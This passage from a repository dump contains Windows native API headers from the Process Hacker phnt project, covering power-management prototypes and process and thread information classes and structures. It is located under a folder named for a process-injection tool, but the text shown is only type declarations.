\\cond NEVER */ // disable doxygen warning\n// wdm\ntypedef struct _COUNTED_REASON_CONTEXT\n{\n ULONG Version;\n ULONG Flags;\n union\n {\n struct\n {\n UNICODE_STRING ResourceFileName;\n USHORT ResourceReasonId;\n ULONG StringCount;\n PUNICODE_STRING _Field_size_(StringCount) ReasonStrings;\n };\n UNICODE_STRING SimpleString;\n };\n} COUNTED_REASON_CONTEXT, *PCOUNTED_REASON_CONTEXT;\n/** \\endcond */\n#endif\n\ntypedef enum _POWER_STATE_HANDLER_TYPE\n{\n PowerStateSleeping1 = 0,\n PowerStateSleeping2 = 1,\n PowerStateSleeping3 = 2,\n PowerStateSleeping4 = 3,\n PowerStateShutdownOff = 4,\n PowerStateShutdownReset = 5,\n PowerStateSleeping4Firmware = 6,\n PowerStateMaximum = 7\n} POWER_STATE_HANDLER_TYPE, *PPOWER_STATE_HANDLER_TYPE;\n\ntypedef NTSTATUS (NTAPI *PENTER_STATE_SYSTEM_HANDLER)(\n _In_ PVOID SystemContext\n );\n\ntypedef NTSTATUS (NTAPI *PENTER_STATE_HANDLER)(\n _In_ PVOID Context,\n _In_opt_ PENTER_STATE_SYSTEM_HANDLER SystemHandler,\n _In_ PVOID SystemContext,\n _In_ LONG NumberProcessors,\n _In_ volatile PLONG Number\n );\n\ntypedef struct _POWER_STATE_HANDLER\n{\n POWER_STATE_HANDLER_TYPE Type;\n BOOLEAN RtcWake;\n UCHAR Spare[3];\n PENTER_STATE_HANDLER Handler;\n PVOID Context;\n} POWER_STATE_HANDLER, *PPOWER_STATE_HANDLER;\n\ntypedef NTSTATUS (NTAPI *PENTER_STATE_NOTIFY_HANDLER)(\n _In_ POWER_STATE_HANDLER_TYPE State,\n _In_ PVOID Context,\n _In_ BOOLEAN Entering\n );\n\ntypedef struct _POWER_STATE_NOTIFY_HANDLER\n{\n PENTER_STATE_NOTIFY_HANDLER Handler;\n PVOID Context;\n} POWER_STATE_NOTIFY_HANDLER, *PPOWER_STATE_NOTIFY_HANDLER;\n\ntypedef struct _PROCESSOR_POWER_INFORMATION\n{\n ULONG Number;\n ULONG MaxMhz;\n ULONG CurrentMhz;\n ULONG MhzLimit;\n ULONG MaxIdleState;\n ULONG CurrentIdleState;\n} PROCESSOR_POWER_INFORMATION, *PPROCESSOR_POWER_INFORMATION;\n\ntypedef struct _SYSTEM_POWER_INFORMATION\n{\n ULONG MaxIdlenessAllowed;\n ULONG Idleness;\n ULONG TimeRemaining;\n UCHAR CoolingMode;\n} SYSTEM_POWER_INFORMATION, *PSYSTEM_POWER_INFORMATION;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPowerInformation(\n _In_ POWER_INFORMATION_LEVEL InformationLevel,\n _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,\n _In_ ULONG OutputBufferLength\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetThreadExecutionState(\n _In_ EXECUTION_STATE NewFlags, // ES_* flags\n _Out_ EXECUTION_STATE *PreviousFlags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRequestWakeupLatency(\n _In_ LATENCY_TIME latency\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtInitiatePowerAction(\n _In_ POWER_ACTION SystemAction,\n _In_ SYSTEM_POWER_STATE LightestSystemState,\n _In_ ULONG Flags, // POWER_ACTION_* flags\n _In_ BOOLEAN Asynchronous\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetSystemPowerState(\n _In_ POWER_ACTION SystemAction,\n _In_ SYSTEM_POWER_STATE LightestSystemState,\n _In_ ULONG Flags // POWER_ACTION_* flags\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetDevicePowerState(\n _In_ HANDLE Device,\n _Out_ PDEVICE_POWER_STATE State\n );\n\nNTSYSCALLAPI\nBOOLEAN\nNTAPI\nNtIsSystemResumeAutomatic(\n VOID\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntpsapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTPSAPI_H\n#define _NTPSAPI_H\n\n#if (PHNT_MODE == PHNT_MODE_KERNEL)\n#define PROCESS_TERMINATE 0x0001\n#define PROCESS_CREATE_THREAD 0x0002\n#define PROCESS_SET_SESSIONID 0x0004\n#define PROCESS_VM_OPERATION 0x0008\n#define PROCESS_VM_READ 0x0010\n#define PROCESS_VM_WRITE 0x0020\n#define PROCESS_CREATE_PROCESS 0x0080\n#define PROCESS_SET_QUOTA 0x0100\n#define PROCESS_SET_INFORMATION 0x0200\n#define PROCESS_QUERY_INFORMATION 0x0400\n#define PROCESS_SET_PORT 0x0800\n#define PROCESS_SUSPEND_RESUME 0x0800\n#define PROCESS_QUERY_LIMITED_INFORMATION 0x1000\n#else\n#ifndef PROCESS_SET_PORT\n#define PROCESS_SET_PORT 0x0800\n#endif\n#endif\n\n#if (PHNT_MODE == PHNT_MODE_KERNEL)\n#define THREAD_QUERY_INFORMATION 0x0040\n#define THREAD_SET_THREAD_TOKEN 0x0080\n#define THREAD_IMPERSONATE 0x0100\n#define THREAD_DIRECT_IMPERSONATION 0x0200\n#else\n#ifndef THREAD_ALERT\n#define THREAD_ALERT 0x0004\n#endif\n#endif\n\n#if (PHNT_MODE == PHNT_MODE_KERNEL)\n#define JOB_OBJECT_ASSIGN_PROCESS 0x0001\n#define JOB_OBJECT_SET_ATTRIBUTES 0x0002\n#define JOB_OBJECT_QUERY 0x0004\n#define JOB_OBJECT_TERMINATE 0x0008\n#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES 0x0010\n#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1f)\n#endif\n\n#define GDI_HANDLE_BUFFER_SIZE32 34\n#define GDI_HANDLE_BUFFER_SIZE64 60\n\n#ifndef _WIN64\n#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32\n#else\n#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64\n#endif\n\ntypedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];\n\ntypedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];\ntypedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];\n\n//#define FLS_MAXIMUM_AVAILABLE 128\n#define TLS_MINIMUM_AVAILABLE 64\n#define TLS_EXPANSION_SLOTS 1024\n\n// symbols\ntypedef struct _PEB_LDR_DATA\n{\n ULONG Length;\n BOOLEAN Initialized;\n HANDLE SsHandle;\n LIST_ENTRY InLoadOrderModuleList;\n LIST_ENTRY InMemoryOrderModuleList;\n LIST_ENTRY InInitializationOrderModuleList;\n PVOID EntryInProgress;\n BOOLEAN ShutdownInProgress;\n HANDLE ShutdownThreadId;\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\n\ntypedef struct _INITIAL_TEB\n{\n struct\n {\n PVOID OldStackBase;\n PVOID OldStackLimit;\n } OldInitialTeb;\n PVOID StackBase;\n PVOID StackLimit;\n PVOID StackAllocationBase;\n} INITIAL_TEB, *PINITIAL_TEB;\n\ntypedef struct _WOW64_PROCESS\n{\n PVOID Wow64;\n} WOW64_PROCESS, *PWOW64_PROCESS;\n\n#include \n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\ntypedef enum _PROCESSINFOCLASS\n{\n ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION\n ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX\n ProcessIoCounters, // q: IO_COUNTERS\n ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2\n ProcessTimes, // q: KERNEL_USER_TIMES\n ProcessBasePriority, // s: KPRIORITY\n ProcessRaisePriority, // s: ULONG\n ProcessDebugPort, // q: HANDLE\n ProcessExceptionPort, // s: PROCESS_EXCEPTION_PORT\n ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN\n ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10\n ProcessLdtSize, // s: PROCESS_LDT_SIZE\n ProcessDefaultHardErrorMode, // qs: ULONG\n ProcessIoPortHandlers, // (kernel-mode only)\n ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS\n ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void\n ProcessUserModeIOPL,\n ProcessEnableAlignmentFaultFixup, // s: BOOLEAN\n ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS\n ProcessWx86Information,\n ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20\n ProcessAffinityMask, // s: KAFFINITY\n ProcessPriorityBoost, // qs: ULONG\n ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX\n ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION\n ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND\n ProcessWow64Information, // q: ULONG_PTR\n ProcessImageFileName, // q: UNICODE_STRING\n ProcessLUIDDeviceMapsEnabled, // q: ULONG\n ProcessBreakOnTermination, // qs: ULONG\n ProcessDebugObjectHandle, // q: HANDLE // 30\n ProcessDebugFlags, // qs: ULONG\n ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables\n ProcessIoPriority, // qs: IO_PRIORITY_HINT\n ProcessExecuteFlags, // qs: ULONG\n ProcessResourceManagement, // ProcessTlsInformation // PROCESS_TLS_INFORMATION\n ProcessCookie, // q: ULONG\n ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION\n ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION // since VISTA\n ProcessPagePriority, // q: PAGE_PRIORITY_INFORMATION\n ProcessInstrumentationCallback, // qs: PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION // 40\n ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX\n ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]\n ProcessImageFileNameWin32, // q: UNICODE_STRING\n ProcessImageFileMapping, // q: HANDLE (input)\n ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE\n ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE\n ProcessGroupInformation, // q: USHORT[]\n ProcessTokenVirtualizationEnabled, // s: ULONG\n ProcessConsoleHostProcess, // q: ULONG_PTR // ProcessOwnerInformation\n ProcessWindowInformation, // q: PROCESS_WINDOW_INFORMATION // 50\n ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8\n ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION\n ProcessDynamicFunctionTableInformation,\n ProcessHandleCheckingMode, // qs: ULONG; s: 0 disables, otherwise enables\n ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION\n ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION\n ProcessWorkingSetControl, // s: PROCESS_WORKING_SET_CONTROL\n ProcessHandleTable, // q: ULONG[] // since WINBLUE\n ProcessCheckStackExtentsMode,\n ProcessCommandLineInformation, // q: UNICODE_STRING // 60\n ProcessProtectionInformation, // q: PS_PROTECTION\n ProcessMemoryExhaustion, // PROCESS_MEMORY_EXHAUSTION_INFO // since THRESHOLD\n ProcessFaultInformation, // PROCESS_FAULT_INFORMATION\n ProcessTelemetryIdInformation, // PROCESS_TELEMETRY_ID_INFORMATION\n ProcessCommitReleaseInformation, // PROCESS_COMMIT_RELEASE_INFORMATION\n ProcessDefaultCpuSetsInformation,\n ProcessAllowedCpuSetsInformation,\n ProcessSubsystemProcess,\n ProcessJobMemoryInformation, // PROCESS_JOB_MEMORY_INFO\n ProcessInPrivate, // since THRESHOLD2 // 70\n ProcessRaiseUMExceptionOnInvalidHandleClose, // qs: ULONG; s: 0 disables, otherwise enables\n ProcessIumChallengeResponse,\n ProcessChildProcessInformation, // PROCESS_CHILD_PROCESS_INFORMATION\n ProcessHighGraphicsPriorityInformation,\n ProcessSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2\n ProcessEnergyValues, // PROCESS_ENERGY_VALUES, PROCESS_EXTENDED_ENERGY_VALUES\n ProcessActivityThrottleState, // PROCESS_ACTIVITY_THROTTLE_STATE\n ProcessActivityThrottlePolicy, // PROCESS_ACTIVITY_THROTTLE_POLICY\n ProcessWin32kSyscallFilterInformation,\n ProcessDisableSystemAllowedCpuSets, // 80\n ProcessWakeInformation, // PROCESS_WAKE_INFORMATION\n ProcessEnergyTrackingState, // PROCESS_ENERGY_TRACKING_STATE\n ProcessManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3\n ProcessCaptureTrustletLiveDump,\n ProcessTelemetryCoverage,\n ProcessEnclaveInformation,\n ProcessEnableReadWriteVmLogging, // PROCESS_READWRITEVM_LOGGING_INFORMATION\n ProcessUptimeInformation, // PROCESS_UPTIME_INFORMATION\n ProcessImageSection, // q: HANDLE\n ProcessDebugAuthInformation, // since REDSTONE4 // 90\n ProcessSystemResourceManagement, // PROCESS_SYSTEM_RESOURCE_MANAGEMENT\n ProcessSequenceNumber, // q: ULONGLONG\n ProcessLoaderDetour, // since REDSTONE5\n ProcessSecurityDomainInformation, // PROCESS_SECURITY_DOMAIN_INFORMATION\n ProcessCombineSecurityDomainsInformation, // PROCESS_COMBINE_SECURITY_DOMAINS_INFORMATION\n ProcessEnableLogging, // PROCESS_LOGGING_INFORMATION\n ProcessLeapSecondInformation, // PROCESS_LEAP_SECOND_INFORMATION\n ProcessFiberShadowStackAllocation, // PROCESS_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION // since 19H1\n ProcessFreeFiberShadowStackAllocation, // PROCESS_FREE_FIBER_SHADOW_STACK_ALLOCATION_INFORMATION\n MaxProcessInfoClass\n} PROCESSINFOCLASS;\n#endif\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\ntypedef enum _THREADINFOCLASS\n{\n ThreadBasicInformation, // q: THREAD_BASIC_INFORMATION\n ThreadTimes, // q: KERNEL_USER_TIMES\n ThreadPriority, // s: KPRIORITY\n ThreadBasePriority, // s: LONG\n ThreadAffinityMask, // s: KAFFINITY\n ThreadImpersonationToken, // s: HANDLE\n ThreadDescriptorTableEntry, // q: DESCRIPTOR_TABLE_ENTRY (or WOW64_DESCRIPTOR_TABLE_ENTRY)\n ThreadEnableAlignmentFaultFixup, // s: BOOLEAN\n ThreadEventPair,\n ThreadQuerySetWin32StartAddress, // q: PVOID\n ThreadZeroTlsCell, // 10\n ThreadPerformanceCount, // q: LARGE_INTEGER\n ThreadAmILastThread, // q: ULONG\n ThreadIdealProcessor, // s: ULONG\n ThreadPriorityBoost, // qs: ULONG\n ThreadSetTlsArrayAddress,\n ThreadIsIoPending, // q: ULONG\n ThreadHideFromDebugger, // s: void\n ThreadBreakOnTermination, // qs: ULONG\n ThreadSwitchLegacyState,\n ThreadIsTerminated, // q: ULONG // 20\n ThreadLastSystemCall, // q: THREAD_LAST_SYSCALL_INFORMATION\n ThreadIoPriority, // qs: IO_PRIORITY_HINT\n ThreadCycleTime, // q: THREAD_CYCLE_TIME_INFORMATION\n ThreadPagePriority, // q: ULONG\n ThreadActualBasePriority,\n ThreadTebInformation, // q: THREAD_TEB_INFORMATION (requires THREAD_GET_CONTEXT + THREAD_SET_CONTEXT)\n ThreadCSwitchMon,\n ThreadCSwitchPmu,\n ThreadWow64Context, // q: WOW64_CONTEXT\n ThreadGroupInformation, // q: GROUP_AFFINITY // 30\n ThreadUmsInformation, // q: THREAD_UMS_INFORMATION\n ThreadCounterProfiling,\n ThreadIdealProcessorEx, // q: PROCESSOR_NUMBER\n ThreadCpuAccountingInformation, // since WIN8\n ThreadSuspendCount, // since WINBLUE\n ThreadHeterogeneousCpuPolicy, // q: KHETERO_CPU_POLICY // since THRESHOLD\n ThreadContainerId, // q: GUID\n ThreadNameInformation, // qs: THREAD_NAME_INFORMATION\n ThreadSelectedCpuSets,\n ThreadSystemThreadInformation, // q: SYSTEM_THREAD_INFORMATION // 40\n ThreadActualGroupAffinity, // since THRESHOLD2\n ThreadDynamicCodePolicyInfo,\n ThreadExplicitCaseSensitivity, // qs: ULONG; s: 0 disables, otherwise enables\n ThreadWorkOnBehalfTicket,\n ThreadSubsystemInformation, // q: SUBSYSTEM_INFORMATION_TYPE // since REDSTONE2\n ThreadDbgkWerReportActive,\n ThreadAttachContainer,\n ThreadManageWritesToExecutableMemory, // MANAGE_WRITES_TO_EXECUTABLE_MEMORY // since REDSTONE3\n ThreadPowerThrottlingState, // THREAD_POWER_THROTTLING_STATE\n ThreadWorkloadClass, // THREAD_WORKLOAD_CLASS // since REDSTONE5 // 50\n MaxThreadInfoClass\n} THREADINFOCLASS;\n#endif\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n// Use with both ProcessPagePriority and ThreadPagePriority\ntypedef struct _PAGE_PRIORITY_INFORMATION\n{\n ULONG PagePriority;\n} PAGE_PRIORITY_INFORMATION, *PPAGE_PRIORITY_INFORMATION;\n#endif\n\n// Process information structures\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\ntypedef struct _PROCESS_BASIC_INFORMATION\n{\n NTSTATUS ExitStatus;\n PPEB PebBaseAddress;\n ULONG_PTR AffinityMask;\n KPRIORITY BasePriority;\n HANDLE UniqueProcessId;\n HANDLE InheritedFromUniqueProcessId;\n} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;\n\ntypedef struct _PROCESS_EXTENDED_BASIC_INFORMATION\n{\n SIZE_T Size; // set to sizeof structure on input\n PROCESS_BASIC_INFORMATION BasicInfo;\n union\n {\n ULONG Flags;\n struct\n {\n ULONG IsProtectedProcess : 1;\n ULONG IsWow64Process : 1;\n ULONG IsProcessDeleting : 1;\n ULONG IsCrossSessionCreate : 1;\n ULONG IsFrozen : 1;\n ULONG IsBackground : 1;\n ULONG IsStronglyNamed : 1;\n ULONG IsSecureProcess : 1;\n ULONG IsSubsystemProcess : 1;\n ULONG SpareBits : 23;\n };\n };\n} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION;\n\ntypedef struct _VM_COUNTERS\n{\n SIZE_T PeakVirtualSize;\n SIZE_T VirtualSize;\n ULONG PageFaultCount;\n SIZE_T PeakWorkingSetSize;\n SIZE_T WorkingSetSize;\n SIZE_T QuotaPeakPagedPoolUsage;\n SIZE_T QuotaPagedPoolUsage;\n SIZE_T QuotaPeakNonPagedPoolUsage;\n SIZE_T QuotaNonPagedPoolUsage;\n SIZE_T PagefileUsage;\n SIZE_T PeakPagefileUsage;\n} VM_COUNTERS, *PVM_COUNTERS;\n\ntypedef struct _VM_COUNTERS_EX\n{\n SIZE_T PeakVirtualSize;\n SIZE_T VirtualSize;\n ULONG PageFaultCount;\n SIZE_T PeakWorkingSetSize;\n SIZE_T WorkingSetSize;\n SIZE_T QuotaPeakPagedPoolUsage;\n SIZE_T QuotaPagedPoolUsage;\n SIZE_T QuotaPeakNonPagedPoolUsage;\n SIZE_T QuotaNonPagedPoolUsage;\n SIZE_T PagefileUsage;\n SIZE_T PeakPagefileUsage;\n SIZE_T PrivateUsage;\n} VM_COUNTERS_EX, *PVM_COUNTERS_EX;\n\n// private\ntypedef struct _VM_COUNTERS_EX2\n{\n VM_COUNTERS_EX CountersEx;\n SIZE_T PrivateWorkingSetSize;\n SIZE_T SharedCommitUsage;\n} VM_COUNTERS_EX2, *PVM_COUNTERS_EX2;\n\ntypedef struct _KERNEL_USER_TIMES\n{\n LARGE_INTEGER CreateTime;\n LARGE_INTEGER ExitTime;\n LARGE_INTEGER KernelTime;\n LARGE_INTEGER UserTime;\n} KERNEL_USER_TIMES, *PKERNEL_USER_TIMES;\n\ntypedef struct _POOLED_USAGE_AND_LIMITS\n{\n SIZE_T PeakPagedPoolUsage;\n SIZE_T PagedPoolUsage;\n SIZE_T PagedPoolLimit;\n SIZE_T PeakNonPagedPoolUsage;\n SIZE_T NonPagedPoolUsage;\n SIZE_T NonPagedPoolLimit;\n SIZE_T PeakPagefileUsage;\n SIZE_T PagefileUsage;\n SIZE_T PagefileLimit;\n} POOLED_USAGE_AND_LIMITS, *PPOOLED_USAGE_AND_LIMITS;\n\n#define PROCESS_EXCEPTION_PORT_ALL_STATE_BITS 0x00000003\n#define PROCESS_EXCEPTION_PORT_ALL_STATE_FLAGS ((ULONG_PTR)((1UL << PROCESS_EXCEPTION_PORT_ALL_STATE_BITS) - 1))\n\ntypedef struct _PROCESS_EXCEPTION_PORT \n{\n _In_ HANDLE ExceptionPortHandle; // Handle to the exception port. No particular access required.\n _Inout_ ULONG StateFlags; // Miscellaneous state flags to be cached along with the exception port in the kernel.\n} PROCESS_EXCEPTION_PORT, *PPROCESS_EXCEPTION_PORT;\n\ntypedef struct _PROCESS_ACCESS_TOKEN\n{\n HANDLE Token; // needs TOKEN_ASSIGN_PRIMARY access\n HANDLE Thread; // handle to initial/only thread; needs THREAD_QUERY_INFORMATION access\n} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;\n\ntypedef struct _PROCESS_LDT_INFORMATION\n{\n ULONG Start;\n ULONG Length;\n LDT_ENTRY LdtEntries[1];\n} PROCESS_LDT_INFORMATION, *PPROCESS_LDT_INFORMATION;\n\ntypedef struct _PROCESS_LDT_SIZE\n{\n ULONG Length;\n} PROCESS_LDT_SIZE, *PPROCESS_LDT_SIZE;\n\ntypedef struct _PROCESS_WS_WATCH_INFORMATION\n{\n PVOID FaultingPc;\n PVOID FaultingVa;\n} PROCESS_WS_WATCH_INFORMATION, *PPROCESS_WS_WATCH_INFORMATION;\n\n#endif\n\n// psapi:PSAPI_WS_WATCH_INFORMATION_EX\ntypedef struct _PROCESS_WS_WATCH_INFORMATION_EX\n{\n PROCESS_WS_WATCH_INFORMATION BasicInfo;\n ULONG_PTR FaultingThreadId;\n ULONG_PTR Flags;\n} PROCESS_WS_WATCH_INFORMATION_EX, *PPROCESS_WS_WATCH_INFORMATION_EX;\n\n#define PROCESS_PRIORITY_CLASS_UNKNOWN 0\n#define PROCESS_PRIORITY_CLASS_IDLE 1\n#define PROCESS_PRIORITY_CLASS_NORMAL 2\n#define PROCESS_PRIORITY_CLASS_HIGH 3\n#define PROCESS_PRIORITY_CLASS_REALTIME 4\n#define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5\n#define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6\n\ntypedef struct _PROCESS_PRIORITY_CLASS\n{\n BOOLEAN Foreground;\n UCHAR PriorityClass;\n} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS;\n\ntypedef struct _PROCESS_FOREGROUND_BACKGROUND\n{\n BOOLEAN Foreground;\n} PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\ntypedef struct _PROCESS_DEVICEMAP_INFORMATION\n{\n union\n {\n struct\n {\n HANDLE DirectoryHandle;\n } Set;\n struct\n {\n ULONG DriveMap;\n UCHAR DriveType[32];\n } Query;\n };\n} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION;\n\n#define PROCESS_LUID_DOSDEVICES_ONLY 0x00000001\n\ntypedef struct _PROCESS_DEVICEMAP_INFORMATION_EX\n{\n union\n {\n struct\n {\n HANDLE DirectoryHandle;\n } Set;\n struct\n {\n ULONG DriveMap;\n UCHAR DriveType[32];\n } Query;\n };\n ULONG Flags; // PROCESS_LUID_DOSDEVICES_ONLY\n} PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX;\n\ntypedef struct _PROCESS_SESSION_INFORMATION\n{\n ULONG SessionId;\n} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION;\n\n#define PROCESS_HANDLE_EXCEPTIONS_ENABLED 0x00000001\n\n#define PROCESS_HANDLE_RAISE_EXCEPTION_ON_INVALID_HANDLE_CLOSE_DISABLED 0x00000000\n#define PROCESS_HANDLE_RAISE_EXCEPTION_ON_INVALID_HANDLE_CLOSE_ENABLED 0x00000001\n\ntypedef struct _PROCESS_HANDLE_TRACING_ENABLE\n{\n ULONG Flags;\n} PROCESS_HANDLE_TRACING_ENABLE, *PPROCESS_HANDLE_TRACING_ENABLE;\n\n#define PROCESS_HANDLE_TRACING_MAX_SLOTS 0x20000\n\ntypedef struct _PROCESS_HANDLE_TRACING_ENABLE_EX\n{\n ULONG Flags;\n ULONG TotalSlots;\n} PROCESS_HANDLE_TRACING_ENABLE_EX, *PPROCESS_HANDLE_TRACING_ENABLE_EX;\n\n#define PROCESS_HANDLE_TRACING_MAX_STACKS 16\n\n#define PROCESS_HANDLE_TRACE_TYPE_OPEN 1\n#define PROCESS_HANDLE_TRACE_TYPE_CLOSE 2\n#define PROCESS_HANDLE_TRACE_TYPE_BADREF 3\n\ntypedef struct _PROCESS_HANDLE_TRACING_ENTRY\n{\n HANDLE Handle;\n CLIENT_ID ClientId;\n ULONG Type;\n PVOID Stacks[PROCESS_HANDLE_TRACING_MAX_STACKS];\n} PROCESS_HANDLE_TRACING_ENTRY, *PPROCESS_HANDLE_TRACING_ENTRY;\n\ntypedef struct _PROCESS_HANDLE_TRACING_QUERY\n{\n HANDLE Handle;\n ULONG TotalTraces;\n PROCESS_HANDLE_TRACING_ENTRY HandleTrace[1];\n} PROCESS_HANDLE_TRACING_QUERY, *PPROCESS_HANDLE_TRACING_QUERY;\n\n#endif\n\n// private\ntypedef struct _THREAD_TLS_INFORMATION\n{\n ULONG Flags;\n PVOID NewTlsData;\n PVOID OldTlsData;\n HANDLE ThreadId;\n} THREAD_TLS_INFORMATION, *PTHREAD_TLS_INFORMATION;\n\n// private\ntypedef enum _PROCESS_TLS_INFORMATION_TYPE\n{\n ProcessTlsReplaceIndex,\n ProcessTlsReplaceVector,\n MaxProcessTlsOperation\n} PROCESS_TLS_INFORMATION_TYPE, *PPROCESS_TLS_INFORMATION_TYPE;\n\n// private\ntypedef struct _PROCESS_TLS_INFORMATION\n{\n ULONG Flags;\n ULONG OperationType;\n ULONG ThreadDataCount;\n ULONG TlsIndex;\n ULONG PreviousCount;\n THREAD_TLS_INFORMATION ThreadData[1];\n} PROCESS_TLS_INFORMATION, *PPROCESS_TLS_INFORMATION;\n\n// private\ntypedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION\n{\n ULONG Version;\n ULONG Reserved;\n PVOID Callback;\n} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, *PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;\n\n// private\ntypedef struct _PROCESS_STACK_ALLOCATION_INFORMATION\n{\n SIZE_T ReserveSize;\n SIZE_T ZeroBits;\n PVOID StackBase;\n} PROCESS_STACK_ALLOCATION_INFORMATION, *PPROCESS_STACK_ALLOCATION_INFORMATION;\n\n// private\ntypedef struct _PROCESS_STACK_ALLOCATION_INFORMATION_EX\n{\n ULONG PreferredNode;\n ULONG Reserved0;\n ULONG Reserved1;\n ULONG Reserved2;\n PROCESS_STACK_ALLOCATION_INFORMATION AllocInfo;\n} PROCESS_STACK_ALLOCATION_INFORMATION_EX, *PPROCESS_STACK_ALLOCATION_INFORMATION_EX;\n\n// private\ntypedef union _PROCESS_AFFINITY_UPDATE_MODE\n{\n ULONG Flags;\n struct\n {\n ULONG EnableAutoUpdate : 1;\n ULONG Permanent : 1;\n ULONG Reserved : 30;\n };\n} PROCESS_AFFINITY_UPDATE_MODE, *PPROCESS_AFFINITY_UPDATE_MODE;\n\n// private\ntypedef union _PROCESS_MEMORY_ALLOCATION_MODE\n{\n ULONG Flags;\n struct\n {\n ULONG TopDown : 1;\n ULONG Reserved : 31;\n };\n} PROCESS_MEMORY_ALLOCATION_MODE, *PPROCESS_MEMORY_ALLOCATION_MODE;\n\n// private\ntypedef struct _PROCESS_HANDLE_INFORMATION\n{\n ULONG HandleCount;\n ULONG HandleCountHighWatermark;\n} PROCESS_HANDLE_INFORMATION, *PPROCESS_HANDLE_INFORMATION;\n\n// private\ntypedef struct _PROCESS_CYCLE_TIME_INFORMATION\n{\n ULONGLONG AccumulatedCycles;\n ULONGLONG CurrentCycleCount;\n} PROCESS_CYCLE_TIME_INFORMATION, *PPROCESS_CYCLE_TIME_INFORMATION;\n\n// private\ntypedef struct _PROCESS_WINDOW_INFORMATION\n{\n ULONG WindowFlags;\n USHORT WindowTitleLength;\n WCHAR WindowTitle[1];\n} PROCESS_WINDOW_INFORMATION, *PPROCESS_WINDOW_INFORMATION;\n\n// private\ntypedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO\n{\n HANDLE HandleValue;\n ULONG_PTR HandleCount;\n ULONG_PTR PointerCount;\n ULONG GrantedAccess;\n 